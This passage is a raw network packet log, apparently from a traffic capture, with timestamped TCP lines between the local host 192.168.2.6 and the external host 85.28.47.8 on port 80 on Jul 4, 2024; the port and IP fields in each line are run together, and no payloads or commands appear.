                                                              Jul 4, 2024 11:16:19.369965076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.369971991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.369991064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370024920 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.370106936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370151043 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.370156050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370163918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370193958 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.370246887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370253086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370273113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370280981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370292902 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.370321035 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.370376110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370382071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370388985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370420933 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.370522022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370527983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370533943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370538950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370553017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370563030 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.370567083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370574951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370575905 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.370580912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370596886 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.370630980 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.370776892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370784044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370795012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370826960 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.370841026 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.370913029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370920897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370925903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370930910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370937109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370942116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370953083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370955944 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.370959997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370968103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.370985031 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.371006966 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.371170998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.371177912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.371225119 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.371330976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.371336937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.371347904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.371355057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.371370077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.371375084 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.371376038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.371387005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.371392965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.371395111 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.371400118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.371407032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.371413946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.371426105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.371432066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.371433973 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.371438980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.371464968 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.371485949 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.413906097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.413923025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.413928986 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.413986921 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.414014101 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.414033890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.414040089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.414060116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.414071083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.414072990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.414093018 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.414113998 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.441593885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.441601038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.441612959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.441657066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.441663027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.441663027 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.441711903 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.441730976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.441744089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.441790104 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.441839933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.441845894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.441863060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.441869020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.441880941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.441886902 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.441891909 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.441926956 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.442038059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442044973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442056894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442063093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442069054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442074060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442086935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442089081 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.442101955 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.442133904 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.442224979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442270994 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.442282915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442290068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442305088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442311049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442316055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442322016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442332983 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.442364931 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.442442894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442450047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442461014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442496061 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.442615986 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442620993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442632914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442662954 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.442720890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442728043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442739010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442775011 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.442879915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442886114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442898035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442903996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442909002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442914963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.442935944 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.442953110 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.443022966 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.443030119 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.443073988 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.456765890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.456773043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.456789017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.456840992 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.456841946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.456850052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.456903934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.456909895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.456909895 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.456923962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.456954956 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.457551956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.457600117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.457601070 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.457607031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.457648039 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.457680941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.457688093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.457735062 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.459225893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.459279060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.459328890 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.459825993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.459892988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.459922075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.459934950 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.459971905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.459986925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460030079 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.460059881 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460067034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460119009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.460128069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460135937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460146904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460153103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460180044 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.460222960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460230112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460282087 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.460303068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460309982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460321903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460325956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460352898 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.460408926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460472107 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.460477114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460491896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460503101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460509062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460514069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460520983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460544109 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.460571051 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.460689068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460692883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460705996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460712910 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460719109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460731030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460742950 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.460762978 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.460799932 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.460808992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460815907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460823059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460827112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.460860014 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.460886002 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.461071014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461076975 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461082935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461088896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461095095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461100101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461112022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461114883 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.461118937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461127043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461138964 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461152077 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.461169004 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.461352110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461358070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461364031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461369038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461374998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461380005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461385965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461395979 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.461396933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461405039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461417913 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.461417913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.461437941 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.461457968 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.503911018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.503930092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.503948927 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.503957033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.503968954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.503995895 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.504051924 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.504062891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.504070044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.504081964 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.504116058 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.531653881 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.531660080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.531672001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.531711102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.531758070 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.531788111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.531795025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.531877995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.531883955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.531894922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.531900883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.531905890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.531918049 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.531918049 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.531934977 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.531958103 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.531980991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.531986952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.531992912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532016993 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.532047987 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.532167912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532174110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532185078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532190084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532200098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532207012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532212973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532218933 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.532219887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532237053 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.532260895 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.532335997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532341957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532354116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532383919 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.532429934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532435894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532447100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532452106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532458067 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532478094 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.532509089 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.532599926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532610893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532622099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532653093 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.532685995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532691956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532704115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532710075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532733917 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.532761097 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.532861948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532867908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532880068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532886028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532902002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.532916069 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.532927036 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.532946110 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.532996893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.533004999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.533051968 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.546797037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.546813965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.546818972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.546879053 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.546947002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.546953917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.546966076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.546971083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.547003031 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.547058105 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.549273014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.549279928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.549292088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.549344063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.549365044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.549371958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.549384117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.549390078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.549416065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.549436092 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.549869061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.549906015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.549912930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.549954891 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.550002098 CEST804972385.28.47.8192.168.2.6
